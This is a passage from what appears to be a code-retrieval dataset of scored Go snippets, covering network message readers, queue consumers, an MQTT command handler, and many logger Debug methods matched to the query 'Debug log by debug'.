Closed.\")\r\n\t\t\ts.Closef()\r\n\t\t\tbreak\r\n\t\t}\r\n\t\ttmpBuffer = s.unpack(append(tmpBuffer, data[:n]...))\r\n\t}\r\n}", "title": "" }, { "docid": "a2cf49d530a9e1b9f478e2f72dd198db", "score": "0.58815163", "text": "func (std *ReaderService) Read() (<-chan []byte, error) {\n\tmc := make(chan []byte, 0)\n\n\tstd.pub.Subscribe(mc)\n\n\treturn mc, nil\n}", "title": "" }, { "docid": "6e341442afbba8c666c12015520bc0f6", "score": "0.5871884", "text": "func readMessage(conn *net.TCPConn, data *bytes.Buffer) (\n\tlength int, err error) {\n\n\tif err = read(conn, 4, data); err != nil {\n\t\treturn\n\t}\n\n\tlength = int(bytes2int(data.Next(4)))\n\tif length == 0 {\n\t\treturn\n\t}\n\n\tif err = read(conn, length, data); err != nil {\n\t\treturn\n\t}\n\treturn\n}", "title": "" }, { "docid": "1a90aba09e85517ae2975d0497866b47", "score": "0.58671004", "text": "func (s *Samil) read() (message, error) {\n\tmsg, ok := <-s.in\n\tif !ok {\n\t\treturn message{}, s.closed\n\t}\n\treturn msg, nil\n}", "title": "" }, { "docid": "759789249b1927a886e86225618ab338", "score": "0.5864327", "text": "func (c *Consumer) Consume() {\n\tmsgs, err := c.channel.Consume(\n\t\tc.queue.Name, // queue\n\t\t\"\", // consumer\n\t\tfalse, // auto-ack\n\t\tfalse, // exclusive\n\t\tfalse, // no-local\n\t\tfalse, // no-wait\n\t\tnil, // args\n\t)\n\tutils.FailOnError(err, \"Failed to register a consumer\")\n\n\tforever := make(chan bool)\n\n\tgo func() {\n\t\tfor d := range msgs {\n\t\t\tc.process(d)\n\t\t}\n\t}()\n\n\tc.logger.Printf(\"Worker: %s waiting for messages. To exit press CTRL+C\", c.queue.Name)\n\t<-forever\n}", "title": "" }, { "docid": "eba22987011b6798aa25d3e14c7e69c9", "score": "0.58610433", "text": "func (s *Server) reader(conn net.Conn) {\n\tfor {\n\t\tcmd, pkt, err := common.Decode(conn)\n\t\tif err != nil {\n\t\t\tif err != io.EOF {\n\t\t\t\tlog.Println(err)\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\tswitch cmd {\n\t\tcase common.C2S_HEARTBEAT:\n\t\t\tbytes := common.Encode(common.S2C_HEARTBEAT, nil)\n\t\t\ts.sndqueue <- &NotrClientContext{conn: conn, payload: bytes}\n\n\t\tcase common.C2C_DATA:\n\t\t\t_, err = s.iface.Write(pkt)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t}\n\n\t\tdefault:\n\t\t\tlog.Println(\"unimplement cmd\", cmd, len(pkt))\n\t\t}\n\t}\n}", "title": "" }, { "docid": "900f819946b7e7eb3957bd675ef453ea", "score": "0.58598024", "text": "func (s *EchoerServerStream) Recv() (string, error) {\n\tvar (\n\t\trv string\n\t\tmsg *string\n\t\terr error\n\t)\n\t// Upgrade the HTTP connection to a websocket connection only once. Connection\n\t// upgrade is done here so that authorization logic in the endpoint is executed\n\t// before calling the actual service method which may call Recv().\n\ts.once.Do(func() {\n\t\tvar conn *websocket.Conn\n\t\tconn, err = s.upgrader.Upgrade(s.w, s.r, nil)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif s.configurer != nil {\n\t\t\tconn = s.configurer(conn, s.cancel)\n\t\t}\n\t\ts.conn = conn\n\t})\n\tif err != nil {\n\t\treturn rv, err\n\t}\n\tif err = s.conn.ReadJSON(&msg); err != nil {\n\t\treturn rv, err\n\t}\n\tif msg == nil {\n\t\treturn rv, io.EOF\n\t}\n\treturn *msg, nil\n}", "title": "" }, { "docid": "d42658003244ade492c21f14ee6fca2e", "score": "0.58483624", "text": "func (t *transaction) Read() (msg Message, err error) {\n\tif msg, err = t.transport.Read(); err == nil {\n\t\tt.in = append(t.in, msg)\n\t}\n\treturn\n}", "title": "" }, { "docid": "19c07771829ace784acf8a58a8aec7ad", "score": "0.5843772", "text": "func (c *Consumer) Consume(inOrder bool, timeWindow *time.Duration) {\n\tif err := c.Subscribe(c.Topic, nil); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Only messages will be pushed to this channel\n\tmsgChan := make(chan kafka.Message)\n\tdefer close(msgChan)\n\tgo c.filterMessages(msgChan)\n\n\t// This will block\n\tif inOrder {\n\t\tprocessMessagesInOrder(msgChan, *timeWindow)\n\t} else {\n\t\tprocessMessages(msgChan)\n\t}\n\n\tc.Close()\n}", "title": "" }, { "docid": "d4033b8d28a47c2e8efd41e11973acec", "score": "0.584088", "text": "func (ctl *Control) reader() {\n\txl := ctl.xl\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\txl.Error(\"panic error: %v\", err)\n\t\t\txl.Error(string(debug.Stack()))\n\t\t}\n\t}()\n\tdefer ctl.readerShutdown.Done()\n\tdefer close(ctl.closedCh)\n\n\tencReader := crypto.NewReader(ctl.conn, []byte(ctl.clientCfg.Token))\n\tfor {\n\t\tm, err := msg.ReadMsg(encReader)\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\txl.Debug(\"read from control connection EOF\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\txl.Warn(\"read error: %v\", err)\n\t\t\tctl.conn.Close()\n\t\t\treturn\n\t\t}\n\t\tctl.readCh <- m\n\t}\n}", "title": "" }, { "docid": "26d68c291b24c2929526fd4657fd4d6b", "score": "0.58331805", "text": "func (reader *Reader) Read() (*Message, error) {\n\treturn reader.protocol.Read(reader.br)\n}", "title": "" }, { "docid": "828d067b46f2dccb7d9d4f19686477f6", "score": "0.58311754", "text": "func (consumer *Consumer) Consume(hub *hub.Hub) error {\n\tdeliveries, err := consumer.channel.Consume(\n\t\tconsumer.queue.Name, // queue name\n\t\t\"consumer-tag\", // consumer tag (should not be blank)\n\t\ttrue, // auto ack\n\t\tfalse, // exclusive\n\t\tfalse, // noLocal\n\t\tfalse, // noWait\n\t\tnil, // args\n\t)\n\tif err != nil {\n\t\tlog.Printf(\"Queue consume error: %s\", err.Error())\n\t\treturn fmt.Errorf(\"Queue Consume: %s\", err)\n\t}\n\n\tgo handleDeliveries(deliveries, hub, consumer.err)\n\n\treturn nil\n}", "title": "" }, { "docid": "ef5f8a422699e067d26a4c2f36e0eed0", "score": "0.5824635", "text": "func (m *ManagedConsumer) Receive(ctx context.Context) (Message, error) {\n\tfor {\n\t\tm.mu.RLock()\n\t\tconsumer := m.consumer\n\t\twait := m.waitc\n\t\tm.mu.RUnlock()\n\n\t\tif consumer == nil {\n\t\t\tselect {\n\t\t\tcase <-wait:\n\t\t\t\t// a new consumer was established.\n\t\t\t\t// Re-enter read-lock to obtain it.\n\t\t\t\tcontinue\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn Message{}, ctx.Err()\n\t\t\t}\n\t\t}\n\n\t\t// TODO: determine when, if ever, to call\n\t\t// consumer.RedeliverOverflow\n\n\t\tif err := consumer.Flow(1); err != nil {\n\t\t\treturn Message{}, err\n\t\t}\n\n\t\tselect {\n\t\tcase msg := <-m.queue:\n\t\t\treturn msg, nil\n\n\t\tcase <-ctx.Done():\n\t\t\treturn Message{}, ctx.Err()\n\n\t\tcase <-consumer.Closed():\n\t\t\treturn Message{}, errors.New(\"consumer closed\")\n\n\t\tcase <-consumer.ConnClosed():\n\t\t\treturn Message{}, errors.New(\"consumer connection closed\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "bb01bec76a75a64a2011ed35575a324f", "score": "0.58225816", "text": "func (pipe *PipeWS) Recv() (*mangos.Message, error) {\n\tbuf := make([]byte, 1024*1024)\n\tn, err := (*pipe.conn).Read(buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmsg := mangos.NewMessage(0)\n\tmsg.Body = buf[:n]\n\treturn msg, nil\n}", "title": "" }, { "docid": "83e2c002ef0c33855f9752e7b5e3f1a1", "score": "0.58202994", "text": "func (c *consumer) Consume(ctx context.Context) (<-chan async.Message, <-chan error, error) {\n\tctx, cnl := context.WithCancel(ctx)\n\tc.cnl = cnl\n\n\tcg, err := sarama.NewConsumerGroup(c.config.Brokers, c.group, c.config.SaramaConfig)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"failed to create consumer: %w\", err)\n\t}\n\tc.cg = cg\n\tslog.Debug(\"consuming messages\", slog.String(\"topics\", strings.Join(c.topics, \",\")), slog.String(\"group\", c.group))\n\n\tchMsg := make(chan async.Message, c.config.Buffer)\n\tchErr := make(chan error, c.config.Buffer)\n\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\tslog.Info(\"canceling consuming messages requested\")\n\t\t\t\tcloseConsumer(c.cg)\n\t\t\t\treturn\n\t\t\tcase consumerError := <-c.cg.Errors():\n\t\t\t\tchErr <- consumerError\n\t\t\t\tcloseConsumer(c.cg)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\t// Iterate over consumer sessions.\n\tgo func() {\n\t\thnd := handler{consumer: c, messages: chMsg}\n\t\tfor {\n\t\t\terr := c.cg.Consume(ctx, c.topics, hnd)\n\t\t\tif err != nil {\n\t\t\t\tchErr <- err\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn chMsg, chErr, nil\n}", "title": "" }, { "docid": "238594b9ee96623723f5971a6c2c2623", "score": "0.58158994", "text": "func (o *handler) handle(client mqtt.Client, msg mqtt.Message) {\r\n\t// We extract the count and write that out first to simplify checking for missing values\r\n\tvar m Message\r\n\tvar resp Session\r\n\tif err := json.Unmarshal(msg.Payload(), &resp); err != nil {\r\n\t\tfmt.Printf(\"Message could not be parsed (%s): %s\", msg.Payload(), err)\r\n\t\treturn\r\n\t}\r\n\tfmt.Println(resp)\r\n\tswitch resp.Type {\r\n\tcase CMDMSG_OFFER:\r\n\t\tenc.Decode(resp.Data, &m)\r\n\t\tNotice(m)\r\n\tcase CMDMSG_DISC:\r\n\t\tvar devcmd DiscoveryCmd\r\n\t\tenc.Decode(resp.Data, &devcmd)\r\n\t\tDiscoveryDev(&devcmd)\r\n\tcase CMDMSG_WAKE:\r\n\t\tvar fing Fing\r\n\t\tenc.Decode(resp.Data, &fing)\r\n\t\twakemac(fing)\r\n\tcase CMDMSG_UPDATE:\r\n\t\tvar newver *versionUpdate\r\n\t\tGetUpdateMyself(newver)\r\n\tcase CMDMSG_MR2:\r\n\t\tvar mr2info Mr2Msg\r\n\t\tenc.Decode(resp.Data, &mr2info)\r\n\t\tMr2HostPort(&mr2info)\r\n\t}\r\n}", "title": "" } ]
631661b4a2a49ab9719799f65c568fd4
Debug log by debug
[ { "docid": "f51cc2ad6c837f40eb5232a4beeebbde", "score": "0.0", "text": "func (lg *Logger) Debug(format string, v ...interface{}) {\n\tif lg.should(DebugLevel) {\n\t\tlg.writeMsg(DebugLevel, format, v...)\n\t}\n}", "title": "" } ]
[ { "docid": "948b40e95755874375cd2c7317f2afaf", "score": "0.7891062", "text": "func (NoLogger) Debug(msg string) {}", "title": "" }, { "docid": "7f85e26d6fb020fe5826d4c231a016ba", "score": "0.7870105", "text": "func (d *FakeLogger) Debug(args ...interface{}) {}", "title": "" }, { "docid": "4617b8dcf57874f890f10daac5485cc5", "score": "0.7714341", "text": "func (log Logger) Debug(msg string) { Debug(msg); }", "title": "" }, { "docid": "6de1e018ee3842ea513d7c19d38a883f", "score": "0.7675414", "text": "func (l Logger) Debug(msg string, args ...interface{}) {}", "title": "" }, { "docid": "731478c76b78472506fb5654ebf9b6ee", "score": "0.76607794", "text": "func debugLog(frmt string, args ...interface{}) {\n\tif Debug {\n\t\t_, file, pos, _ := runtime.Caller(1)\n\t\tgeneratorLogger.Printf(\"%s:%d: %s\", filepath.Base(file), pos,\n\t\t\tfmt.Sprintf(frmt, args...))\n\t}\n}", "title": "" }, { "docid": "ba219162430a5aef1c32badfa20b1962", "score": "0.76191306", "text": "func (n *nilLogger) Debug(message string) {}", "title": "" }, { "docid": "9ea51703d9c3b85409d1b759786df1ed", "score": "0.7557673", "text": "func debug(str string, param ...interface{}) {\n\tif LogLevel <= LOG_DEBUG {\n\t\tlog.Printf(\"DEBUG \"+str, param...)\n\t}\n}", "title": "" }, { "docid": "7636e4b47525710279ac0d188a382ee6", "score": "0.7495119", "text": "func (l *Logger) Debug(str string) {\n\n err:=l.checkDate()\n if err!=nil{\n //TODO: set error bit in reg\n }else if l.initialized && l.debug{\n l.debugLogger.Println(str)\n }\n}", "title": "" }, { "docid": "a84c92aca17f2a60b8cabc4971f864a4", "score": "0.74883825", "text": "func logDebug(text string) {\n\tif debug {\n\t\tdebugLog.Println(text)\n\t}\n}", "title": "" }, { "docid": "bea2ce54425f67955d0b1955c461f80a", "score": "0.74358594", "text": "func Debug(v ...interface{}) {\n\tif LogLevel == 2 {\n\t\tlogStork(\"DEBUG\", v...)\n\t}\n}", "title": "" }, { "docid": "476a0e78a81b9591e86374d6bcf80bf9", "score": "0.74163646", "text": "func (lc mockCryptoLogger) Debug(msg string, args ...interface{}) {\n}", "title": "" }, { "docid": "d325d466e95f6f1b82eb18f16e9a7eae", "score": "0.73976487", "text": "func (s ShimLogger) Debug(string, map[string]interface{}) {}", "title": "" }, { "docid": "d8fe9b81ba1b6f0daa2efb04e3471c71", "score": "0.73780626", "text": "func DebugLogging() {\n\t// // // // // \tlog.SetLevel(log.DebugLevel)\n}", "title": "" }, { "docid": "04a69cbc9a35ffedca55d433bf767057", "score": "0.73768604", "text": "func Debug(args ...interface{}) {\r\n\ts.log(zap.DebugLevel, \"\", args, nil)\r\n}", "title": "" }, { "docid": "16a146d7317760c65258fc7de03cfca7", "score": "0.7375829", "text": "func (l *wlogger) Debug(str string) {\r\n\tif l.logLevel <= DebugLevel {\r\n\t\tl.logger.Printf(\"[DEUBG] %s\", str)\r\n\t}\r\n}", "title": "" }, { "docid": "6b4af82678384f29b0b2347978a4a13b", "score": "0.7368768", "text": "func (l *Logger) Debug(args ...interface{}) {\n\tl.Log(2, DEBUG, args...)\n}", "title": "" }, { "docid": "9165aff44aba617daaa1931f4d1773cd", "score": "0.73508584", "text": "func Debug() {\n\tlog.SetLevel(log.ALL)\n}", "title": "" }, { "docid": "504a34095c41c7e054f8bbe58d293ff5", "score": "0.73481834", "text": "func (s *Server) logDebug(v ...interface{}) {\n\tif s.Debug {\n\t\ta := fmt.Sprint(v)\n\t\tlogger.Info(\"Server: [Dbg] \", a[1:len(a)-1])\n\t}\n}", "title": "" }, { "docid": "4f75446de79a3a7c7fc78cd4e30abe2e", "score": "0.7345386", "text": "func (l Log) Debug(msg string) {\n\tif osutil.GetenvBool(\"SNAPD_DEBUG\") {\n\t\tl.log.Output(3, \"DEBUG: \"+msg)\n\t}\n}", "title": "" }, { "docid": "e634df8c7d61bff2a04f0efe9a64441e", "score": "0.733273", "text": "func debug(f string, a ...interface{}) {\n\tif *printDebug {\n\t\tlog.Printf(f, a...)\n\t}\n}", "title": "" }, { "docid": "814f5a60db89bf25313f3587f642094f", "score": "0.7331716", "text": "func Debug(arg string) {\n\tif LogDebug {\n\t\tllog(DebugLevel, arg)\n\t}\n}", "title": "" }, { "docid": "0aa031b77b4ee78beb696fac352c9da1", "score": "0.7320099", "text": "func (logger Logger) Debug(args ...interface{}) {\n\tlogger.Log(Debug, args...)\n}", "title": "" }, { "docid": "9d1cf05aa5449982330f97286958c58b", "score": "0.7311129", "text": "func Debug(args ...interface{}) {\n\tsugaredLogger.Debug(args...)\n}", "title": "" }, { "docid": "7a511e58bf8eba5b443524320c4fb287", "score": "0.7310637", "text": "func Debug(args ...interface{}) {\n\tif debug {\n\t\tlog.Print(append([]interface{}{\"DEBUG: \"}, args...)...)\n\t}\n}", "title": "" }, { "docid": "ae6c340897016cd8167c2f63edb99821", "score": "0.728388", "text": "func Debug(msg string, v ...interface{}) {\n\tif IsDebugging {\n\t\tLogger.Printf(\"[DEBUG] \"+msg+\"\\n\", v...)\n\t}\n}", "title": "" }, { "docid": "e24e688138f1c4a643050afb4ebe3a54", "score": "0.727868", "text": "func (log *Logger) Debug(args ...interface{}) {\n\tlog.Log(1, iface.Debug, args...)\n}", "title": "" }, { "docid": "2572a0661ff56db7bd69891de31c233f", "score": "0.72752964", "text": "func Debug(args ...interface{}) {\n\tlog.Debug(args...)\n}", "title": "" }, { "docid": "2572a0661ff56db7bd69891de31c233f", "score": "0.72752964", "text": "func Debug(args ...interface{}) {\n\tlog.Debug(args...)\n}", "title": "" }, { "docid": "2572a0661ff56db7bd69891de31c233f", "score": "0.72752964", "text": "func Debug(args ...interface{}) {\n\tlog.Debug(args...)\n}", "title": "" }, { "docid": "2572a0661ff56db7bd69891de31c233f", "score": "0.72752964", "text": "func Debug(args ...interface{}) {\n\tlog.Debug(args...)\n}", "title": "" }, { "docid": "b961e4a9e5e97bc02c68391e06e85066", "score": "0.72694814", "text": "func LogDebug(v ...interface{}) {\n\tif dev {\n\t\tprintLog(\"[debug]\", v...)\n\t}\n}", "title": "" }, { "docid": "0d66667943716bcec867e4fd63ec9f25", "score": "0.72667617", "text": "func (svc *Service) Debug(args ...interface{}) { svc.flush(LevelDebug, nil, args) }", "title": "" }, { "docid": "45d8572f56aee828d8cac60d76889bd8", "score": "0.7259051", "text": "func Debug(i ...interface{}) {\n\tlog(debugIdx, i...)\n}", "title": "" }, { "docid": "2984db78515929ef54a259334f13537b", "score": "0.72565717", "text": "func (l *intLogger) Debug(msg string, args ...interface{}) {\n\tl.log(l.Name(), Debug, msg, args...)\n}", "title": "" }, { "docid": "871b367154cf18567301ee29307c540c", "score": "0.7254393", "text": "func Debug(args ...interface{}) {\n\tSugaredLogger.Debug(args...)\n}", "title": "" }, { "docid": "e2ee5ac26e893c86fb782d46b20f1f0b", "score": "0.7249704", "text": "func (testLogger TestLogger) Debug(msg ...interface{}) {\n\ttestLogger.T.Log(\"[Debug]\", msg)\n}", "title": "" }, { "docid": "e2ee5ac26e893c86fb782d46b20f1f0b", "score": "0.7249704", "text": "func (testLogger TestLogger) Debug(msg ...interface{}) {\n\ttestLogger.T.Log(\"[Debug]\", msg)\n}", "title": "" }, { "docid": "77e3836b806857e6cd83b015f90aaebb", "score": "0.72477955", "text": "func (w *Writer) Debug(m string) (err error)", "title": "" }, { "docid": "f020df9b366c98f5c7984a01cc9edf90", "score": "0.7239837", "text": "func (entry LogEntry) Debug(message string) {\n\tentry.WriteLog(\"debug\", message)\n}", "title": "" }, { "docid": "e7a95ebb4803e1a0e36339de096300fe", "score": "0.72389835", "text": "func (sl *ServiceLogger) Debug(v ...interface{}) {\n\tsl.doPrint(\"DEBUG\", v...)\n}", "title": "" }, { "docid": "cbe851d6c66cc9fe9ebab257aee2d9d1", "score": "0.72317266", "text": "func (l *StdLogger) Debug(s string) {\n\tl.log.Print(\"[DBG] \", s)\n}", "title": "" }, { "docid": "3a938b3a7d1907391242e242bf461f02", "score": "0.72293943", "text": "func (l *logger) Debug(msg string) {\n\tif !l.PrintDebugs {\n\t\treturn\n\t}\n\tlog.Println(\"DEBUG:\", msg)\n}", "title": "" }, { "docid": "a3ed0eb4fbc68f958d2906af6f6292c2", "score": "0.72257525", "text": "func logDebug(_ context.Context, mod api.Module, params []uint64) {\n\toffset, size := uint32(params[0]), uint32(params[1])\n\n\tbuf := readMemory(mod.Memory(), offset, size)\n\tif buf != nil {\n\t\tlog.Logger.Debug(string(buf))\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "a612b2ea4c514dee11a05762ee462557", "score": "0.7221122", "text": "func LogDebug(v ...interface{}) {\n\tBlogLogger.Println(\"[DEBUG]\", v)\n}", "title": "" }, { "docid": "4080991988f6bb80c099e6d59d62b281", "score": "0.7216162", "text": "func (log *Logger) Debugf(msg string, args ...interface{}) { log.send(DEBUG, msg, args...) }", "title": "" }, { "docid": "8c6c2e3d5574c8e0130994dae4b2d3a1", "score": "0.72139984", "text": "func (l logger) Debug(args ...interface{}) {\n\tlog.Debug(args...)\n}", "title": "" }, { "docid": "d81552a7b1cc1951cb11bd3c3e837bee", "score": "0.72130936", "text": "func (l *Logger) Debug(format string, args ...interface{}) {\n l.log.Debug(format, args...)\n}", "title": "" }, { "docid": "48cfd0db0207c2e2ebda6a266c9c996d", "score": "0.7210109", "text": "func (patchwork *Patchwork) logDebug(format string, v ...interface{}) {\n\tif patchwork.debug {\n\t\tlog.Printf(\"\\033[34m%s\\033[0m\\n\", fmt.Sprintf(format, v...))\n\t}\n}", "title": "" }, { "docid": "fb802c15edfe3b157a04baca48d85136", "score": "0.72098666", "text": "func (loggingService *LoggingService) logDebug(vm *duktape.Context) (result int) {\n\tif !logger.IsEnabledFor(shim.LogDebug) {\n\t\treturn 0\n\t}\n\tstrings := loggingService.getLogInserts(vm)\n\tlogger.Debug(strings...)\n\treturn 0\n}", "title": "" }, { "docid": "188724279bb75565f8ca74b0a3bd2e8c", "score": "0.7209642", "text": "func printDebug(s string) {\n\tif debug {\n\t\tlog.Println(\"NETWORK:\\t\", s)\n\t}\n}", "title": "" }, { "docid": "1d0cf1822a880b4e6f5964fa293f05df", "score": "0.71974355", "text": "func Debug(v ...interface{}) {\n\tif level <= debug {\n\t\tjLog(\"DEBUG\", v...)\n\t}\n}", "title": "" }, { "docid": "db068c69d45fcaa663492e981ed6c73d", "score": "0.71856576", "text": "func Debug(format string, a ...interface{}) {\n\tif logEnvDebug {\n\t\twriteLog(\"DEBUG\", format, a...)\n\t}\n}", "title": "" }, { "docid": "ca5aee61c0132b13657384f4d0c713b2", "score": "0.7184077", "text": "func (logger LogrusLogger) Debug(args ...interface{}) {\n\tlog.Debug(args...)\n}", "title": "" }, { "docid": "90bbdd7686b4a6eb1f27ed6913732f5b", "score": "0.7181529", "text": "func Debug(msg ...interface{}) {\n\t// TODO: only send these if filtered logging allows\n\tflogger.SetPrefix(\"DEBUG:\\t\")\n\tflogger.Println(msg)\n\n\tstdlogger.SetPrefix(\"DEBUG:\\t\")\n\tstdlogger.Println(msg)\n}", "title": "" }, { "docid": "0802fefcc4af04cd0f25b70e768cf787", "score": "0.71621996", "text": "func Debug(v ...interface{}) {\n\tif debug {\n\t\tlog.Print(v...)\n\t}\n}", "title": "" }, { "docid": "8212cd8b462c5ced21d1e7c4c176c1a6", "score": "0.7159848", "text": "func Debug(args ...interface{}) {\n\tBusiness.Logger.Debug(args...)\n}", "title": "" }, { "docid": "52393c80b4cb0096340ec9ff5f616f03", "score": "0.71576846", "text": "func Debug(args ...interface{}) {\n\tlogger.Debugln(args...)\n}", "title": "" }, { "docid": "33e4418629daf9a3f29c7893f24e7a1f", "score": "0.71454114", "text": "func (s *ScopedLogger) Debug(v ...interface{}) {\n\tif Dbg < s.GetLogLevel() {\n\t\treturn\n\t}\n\ts.writef(Dbg, fmt.Sprint(v...))\n}", "title": "" }, { "docid": "5c367631d020e1f9f0aabc548523cb3a", "score": "0.7144552", "text": "func LogDebug(formatStr string, args ...interface{}) {\n\tif GPS_DEBUG == 0 { return }\n\tlog.Printf(\"DEBUG: \"+formatStr, args...)\n}", "title": "" }, { "docid": "24adc3744979019e5d2677a04dd5f13d", "score": "0.7143526", "text": "func Debug(args ...interface{}) {\n\tGlobalLogger.Debug(args...)\n}", "title": "" }, { "docid": "3f1385aa6c656f8baf836b8d61311853", "score": "0.71408135", "text": "func Debug(v ...interface{}) {\n\tif Settings.verbose { log.Println(v...) }\n}", "title": "" }, { "docid": "a66b61d534811350f2ce1595ba010976", "score": "0.71393037", "text": "func (l MyLog) Debug(a ...interface{}) {\n\tdebugLog(a...)\n}", "title": "" }, { "docid": "f3d6e6b03b61f1ea385b9c9a1b96694a", "score": "0.7133019", "text": "func Debug(args ...interface{}) {\n\tLogger().Debug(args...)\n}", "title": "" }, { "docid": "3abf4b40bb007eea28289f69e9d68b9f", "score": "0.712533", "text": "func debugLog(v ...interface{}) {\n\tfmt.Println(v...)\n}", "title": "" }, { "docid": "187c9f96ecdd90ad1cb03099fb5b8400", "score": "0.7122404", "text": "func (d *Discarder) Debug(v ...interface{}) {\n}", "title": "" }, { "docid": "1f34928111a224a1d5b8e183d119616e", "score": "0.7122211", "text": "func (l *Logger) Debug(args ...interface{}) {\n\tl.Log.Debug(args...)\n}", "title": "" }, { "docid": "27e064655a5a6db7dd57d2f7887db57c", "score": "0.7111635", "text": "func Debug(format string, args ...interface{}) {\n\tl.log(DEBUG, format, args...)\n}", "title": "" }, { "docid": "a2406fee7d413b4744f7ec50508ac906", "score": "0.71094924", "text": "func (l *Log) Debug(msg ...interface{}) error {\n\treturn l.log(DEBUG, msg...)\n}", "title": "" }, { "docid": "039478b37df2da3e72522ed5c3d39f79", "score": "0.7108956", "text": "func (s *stdLog) Debug(a ...interface{}) {\n\tif dev.IsDev() {\n\t\tlog.Println(color.Debug.Render(getStr(a...)))\n\t}\n}", "title": "" }, { "docid": "26b57b659ccd6034514bf456a4415ef0", "score": "0.7106744", "text": "func Debug(message ...interface{}) {\n\tif config.DEBUG {\n\t\tfmt.Print(\"[DEBUG]\")\n\t\tfmt.Println(message)\n\t}\n}", "title": "" }, { "docid": "d63c156396cab79eb56c787a7a18ce65", "score": "0.7105689", "text": "func Debug(args ...interface{}) {\n\tLog.Debug(args...)\n}", "title": "" }, { "docid": "719d74ebed11e9d40f8e71cf868cf380", "score": "0.70982105", "text": "func Debug(args ...interface{}) {\n\tLogger.Debug(args)\n}", "title": "" }, { "docid": "b5c7da2984d1a11aec23675a297dcdd4", "score": "0.7096817", "text": "func (p *Generic) Debug(msg string, args ...interface{}) {\n\tif p.loggerDebugSet {\n\t\t//msg = strings.Replace(msg, \"%\", \"%%\", -1)\n\t\tp.loggerDebug(msg, args...)\n\t}\n}", "title": "" }, { "docid": "a0d213ffebfe339d63974b01eda6fd16", "score": "0.7089979", "text": "func (l LogGums) LogDebug(log string, format...interface{}) {\r\n l.debugLogger.Infof(log, format...)\r\n}", "title": "" }, { "docid": "7195ea8338b65a64f85dc0e0566ddba1", "score": "0.7084774", "text": "func IsDebug() bool { return logging == LoggingDebug }", "title": "" }, { "docid": "24d0640b930970186dd9ee8d183a5a7e", "score": "0.70833695", "text": "func Debug(args ...interface{}) {\n\tlogger.Debug(args...)\n}", "title": "" }, { "docid": "24d0640b930970186dd9ee8d183a5a7e", "score": "0.70833695", "text": "func Debug(args ...interface{}) {\n\tlogger.Debug(args...)\n}", "title": "" }, { "docid": "24d0640b930970186dd9ee8d183a5a7e", "score": "0.70833695", "text": "func Debug(args ...interface{}) {\n\tlogger.Debug(args...)\n}", "title": "" }, { "docid": "24d0640b930970186dd9ee8d183a5a7e", "score": "0.70833695", "text": "func Debug(args ...interface{}) {\n\tlogger.Debug(args...)\n}", "title": "" }, { "docid": "ce60ac54634b623203d2842904ee0dcf", "score": "0.70796096", "text": "func (h *HelmReconciliation) debugLog(format string, v ...interface{}) {\n\th.log.WithName(\"helm\").V(1).Info(fmt.Sprintf(format, v...))\n}", "title": "" }, { "docid": "9c1c7669793ef71104e65eb39373734c", "score": "0.7077261", "text": "func (l Logger) Debug(ctx context.Context, msg string, keyvals ...interface{}) {\n\tl.log(ctx, zapcore.DebugLevel, msg, keyvals)\n}", "title": "" }, { "docid": "57e167ab34795b8064481dfed9992419", "score": "0.7076009", "text": "func Debug(args ...interface{}) {\n\tlogging.print(DEBUG, args...)\n}", "title": "" }, { "docid": "fa6c2666e82d67130ceadf0d94436688", "score": "0.70760065", "text": "func Debug() {\n\tlogging = LoggingDebug\n\treplaceLogger(DebugLogConfig)\n}", "title": "" }, { "docid": "593a338ab1099b08f3c7517af647ef5e", "score": "0.7074506", "text": "func (ll *DefaultLeveledLogger) Debug(msg string) {\n\tll.logf(ll.debug, LogLevelDebug, msg)\n}", "title": "" }, { "docid": "5ece95f0df80b4e240403e66ee16fb3e", "score": "0.7072612", "text": "func Debug(args ...interface{}) {\n\tlogrus.Debug(args...)\n}", "title": "" }, { "docid": "5ece95f0df80b4e240403e66ee16fb3e", "score": "0.7072612", "text": "func Debug(args ...interface{}) {\n\tlogrus.Debug(args...)\n}", "title": "" }, { "docid": "5ece95f0df80b4e240403e66ee16fb3e", "score": "0.7072612", "text": "func Debug(args ...interface{}) {\n\tlogrus.Debug(args...)\n}", "title": "" }, { "docid": "c527da271ff131e73ed9bb7c91e4ab2a", "score": "0.7072417", "text": "func (l *ZapAdapter) Debug(msg string) {\n\tl.zaplog.Debug(msg)\n\tdefer l.zaplog.Sync()\n\n}", "title": "" }, { "docid": "06b89f42a84b17d9a2e8ee95c267b951", "score": "0.70637465", "text": "func Debug(args ...interface{}) {\n\tbaseLogger.withFileField().Debug(args...)\n}", "title": "" }, { "docid": "aa5ac6da9faabac64b47bba79faca38d", "score": "0.7060334", "text": "func logDebug(format string, args ...interface{}) {\n\tlog.Debug(format, args...)\n}", "title": "" }, { "docid": "769138f4e16ecabd5b14f169fc79da4c", "score": "0.7043461", "text": "func LogDebug(message ...interface{}) {\n\tif env != \"PRODUCTION\" {\n\t\tlogger.Debug(message)\n\t}\n}", "title": "" }, { "docid": "0018ed6c29f9664d52971f7111836aac", "score": "0.7040265", "text": "func Debug(rsFields gcontext.RequestScopedFields, event string, fields ...Fields) string {\n\treturn defaultLogger.write(rsFields, event, nil, DebugSev, fields...)\n}", "title": "" }, { "docid": "3f417541f3313de537b980cd2c017a42", "score": "0.7032127", "text": "func (ul unaLogger) Debug(msg string, args ...interface{}) {\n\tul.Logger.Debug(msg, args...)\n}", "title": "" }, { "docid": "b0f7351b493ac5f3224532c5f6d86287", "score": "0.7032082", "text": "func (l *CountLogger) Debug(s string) {\n\tl.mu.Lock()\n\tl.log.Print(\"[DBG] \", s)\n\tl.mu.Unlock()\n}", "title": "" }, { "docid": "04688b430f05b2a6ded87ffc590df6e0", "score": "0.7031768", "text": 